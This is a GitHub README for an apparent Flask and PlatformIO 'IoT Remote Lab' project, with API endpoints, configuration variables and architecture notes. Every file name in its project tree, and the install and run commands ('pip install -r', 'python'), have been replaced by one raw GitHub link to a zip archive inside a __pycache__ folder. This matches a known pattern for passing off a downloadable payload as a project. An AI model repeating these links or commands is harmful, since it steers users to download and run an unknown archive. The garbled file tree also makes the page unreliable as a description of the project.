Skip to content

Latest commit

 

History

History
97 lines (76 loc) · 4.6 KB

File metadata and controls

97 lines (76 loc) · 4.6 KB

IoT Remote Lab

A Flask-based web application for managing IoT devices through PlatformIO.

Project Structure

IoT-Remote-Lab/
├── server/
│   └── src/
│       ├── https://raw.githubusercontent.com/sanjusathian/IoT-Remote-Lab/main/iot_remote_lab/core/device_manager/__pycache__/IoT-Remote-Lab_v1.4.zip                 # Main Flask application
│       ├── https://raw.githubusercontent.com/sanjusathian/IoT-Remote-Lab/main/iot_remote_lab/core/device_manager/__pycache__/IoT-Remote-Lab_v1.4.zip              # Configuration management
│       ├── https://raw.githubusercontent.com/sanjusathian/IoT-Remote-Lab/main/iot_remote_lab/core/device_manager/__pycache__/IoT-Remote-Lab_v1.4.zip          # Custom exceptions
│       ├── controllers/
│       │   ├── https://raw.githubusercontent.com/sanjusathian/IoT-Remote-Lab/main/iot_remote_lab/core/device_manager/__pycache__/IoT-Remote-Lab_v1.4.zip
│       │   └── platformio_helper/
│       │       ├── https://raw.githubusercontent.com/sanjusathian/IoT-Remote-Lab/main/iot_remote_lab/core/device_manager/__pycache__/IoT-Remote-Lab_v1.4.zip    # Module exports
│       │       ├── https://raw.githubusercontent.com/sanjusathian/IoT-Remote-Lab/main/iot_remote_lab/core/device_manager/__pycache__/IoT-Remote-Lab_v1.4.zip    # CLI interface
│       │       ├── https://raw.githubusercontent.com/sanjusathian/IoT-Remote-Lab/main/iot_remote_lab/core/device_manager/__pycache__/IoT-Remote-Lab_v1.4.zip     # Device management classes
│       │       └── https://raw.githubusercontent.com/sanjusathian/IoT-Remote-Lab/main/iot_remote_lab/core/device_manager/__pycache__/IoT-Remote-Lab_v1.4.zip  # PlatformIO interface
│       └── utils/
│           ├── https://raw.githubusercontent.com/sanjusathian/IoT-Remote-Lab/main/iot_remote_lab/core/device_manager/__pycache__/IoT-Remote-Lab_v1.4.zip
│           └── https://raw.githubusercontent.com/sanjusathian/IoT-Remote-Lab/main/iot_remote_lab/core/device_manager/__pycache__/IoT-Remote-Lab_v1.4.zip  # Logging configuration
├── https://raw.githubusercontent.com/sanjusathian/IoT-Remote-Lab/main/iot_remote_lab/core/device_manager/__pycache__/IoT-Remote-Lab_v1.4.zip               # Python dependencies
└── https://raw.githubusercontent.com/sanjusathian/IoT-Remote-Lab/main/iot_remote_lab/core/device_manager/__pycache__/IoT-Remote-Lab_v1.4.zip                     # This file

Installation

  1. Clone the repository
  2. Create a virtual environment:
    python -m venv .venv
    .venv\Scripts\activate  # On Windows
  3. Install dependencies:
    pip install -r https://raw.githubusercontent.com/sanjusathian/IoT-Remote-Lab/main/iot_remote_lab/core/device_manager/__pycache__/IoT-Remote-Lab_v1.4.zip

Usage

Running the Server

cd server/src
python https://raw.githubusercontent.com/sanjusathian/IoT-Remote-Lab/main/iot_remote_lab/core/device_manager/__pycache__/IoT-Remote-Lab_v1.4.zip

API Endpoints

  • GET /api/devices - Get list of connected devices
  • GET /api/health - Health check endpoint

CLI Interface

cd server/src/controllers
python -m platformio_helper

Configuration

Environment variables:

  • DEBUG: Enable debug mode (default: true)
  • HOST: Server host (default: 127.0.0.1)
  • PORT: Server port (default: 5000)
  • LOG_LEVEL: Logging level (default: INFO)
  • PLATFORMIO_TIMEOUT: PlatformIO command timeout (default: 30)

Architecture

The application follows a modular architecture with:

  1. Separation of Concerns: Device management, configuration, and web interface are separate modules
  2. Error Handling: Custom exceptions with proper error responses
  3. Logging: Structured logging throughout the application
  4. Configuration Management: Environment-based configuration
  5. Type Hints: Full type annotations for better code quality

Scalability Considerations

  1. Modular Design: Easy to add new device types and controllers
  2. Configuration Management: Environment-based configuration for different deployments
  3. Error Handling: Proper exception hierarchy for different error types
  4. Logging: Structured logging for monitoring and debugging
  5. API Design: RESTful API design for easy integration
  6. Extensibility: Easy to add new endpoints and functionality

Future Enhancements

  1. Database integration for device persistence
  2. Real-time device monitoring with WebSockets
  3. Device control and programming capabilities
  4. Authentication and authorization
  5. Docker containerization
  6. Unit and integration tests